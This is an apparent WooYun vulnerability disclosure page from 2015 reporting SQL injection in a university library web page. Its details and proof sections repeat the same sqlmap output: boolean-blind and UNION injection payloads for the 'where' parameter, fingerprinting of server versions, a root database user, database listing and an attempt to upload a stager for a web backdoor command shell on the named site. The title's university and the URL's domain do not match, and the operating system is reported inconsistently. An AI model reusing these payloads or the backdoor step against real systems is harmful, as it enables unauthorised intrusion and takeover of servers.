当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142209

漏洞标题:苏州大学某站sql注入漏洞(root)

相关厂商:苏州大学

漏洞作者: 路人甲

提交时间:2015-09-23 09:12

修复时间:2015-09-25 16:41

公开时间:2015-09-25 16:41

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-23: 细节已通知厂商并且等待厂商处理中
2015-09-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

1、http://www.lib.hustwb.edu.cn/lib_cj/wedit.php?where=N
where参数存在注入
数据

Place: GET
Parameter: where
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: where=B AND 3978=3978
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: where=B UNION ALL SELECT NULL, CONCAT(0x3a706f6c3a,0x63767273706c74
736d6f,0x3a786f6b3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---
[12:54:21] [INFO] testing MySQL
[12:54:47] [INFO] confirming MySQL
[12:55:17] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a hidden switch '--no-cast' (fixing problems with some collation issue
s) and/or switch '--hex'
[12:55:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.55, PHP 5.0.2
back-end DBMS: MySQL < 5.0.0
[12:55:45] [INFO] fetching current user
current user: 'root@localhost'


available databases [2]:
[*] test
[*] test\\_%


[13:46:24] [INFO] going to use a web backdoor for command prompt
[13:46:24] [INFO] fingerprinting the back-end DBMS operating system
[13:46:54] [INFO] the back-end DBMS operating system is Linux
[13:46:54] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
>


漏洞证明:

1、http://www.lib.hustwb.edu.cn/lib_cj/wedit.php?where=N
where参数存在注入
数据

Place: GET
Parameter: where
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: where=B AND 3978=3978
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: where=B UNION ALL SELECT NULL, CONCAT(0x3a706f6c3a,0x63767273706c74
736d6f,0x3a786f6b3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---
[12:54:21] [INFO] testing MySQL
[12:54:47] [INFO] confirming MySQL
[12:55:17] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a hidden switch '--no-cast' (fixing problems with some collation issue
s) and/or switch '--hex'
[12:55:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.55, PHP 5.0.2
back-end DBMS: MySQL < 5.0.0
[12:55:45] [INFO] fetching current user
current user: 'root@localhost'


available databases [2]:
[*] test
[*] test\\_%


[13:46:24] [INFO] going to use a web backdoor for command prompt
[13:46:24] [INFO] fingerprinting the back-end DBMS operating system
[13:46:54] [INFO] the back-end DBMS operating system is Linux
[13:46:54] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
>


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-25 16:41

厂商回复:

最新状态:

暂无